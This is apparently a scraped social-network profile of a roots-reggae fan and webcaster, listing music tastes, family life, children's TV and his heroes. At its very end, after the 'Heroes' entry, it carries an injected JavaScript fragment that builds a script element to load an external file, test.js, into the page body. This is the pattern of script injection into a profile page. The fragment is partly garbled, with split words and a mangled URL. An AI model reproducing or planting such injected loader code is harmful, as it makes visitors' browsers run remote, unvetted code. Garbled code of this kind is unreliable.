My Interests

Reggae radio, roots reggae, reggae webcasting ...

I'd like to meet:

Any roots artists and livicated rootsmen and sistren. I'm always looking forward to hearing from new artists who bring the roots. ...

Music:

I love roots reggae from around the world, not only the classics but the modern sounds emanating from around the world. ...

Movies:

I have 4 kids so I NEVER get to see a movie- unless stuff like "Madagascar" on DVD counts. ...

Television:

Likewise, about all I ever get to watch on TV is "Two Stupid Dogs" or "Spongebob." And yes, it turns your brain to mush. ...

Heroes:

It's sappy, but that'd be my parents and my wife. .."var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /
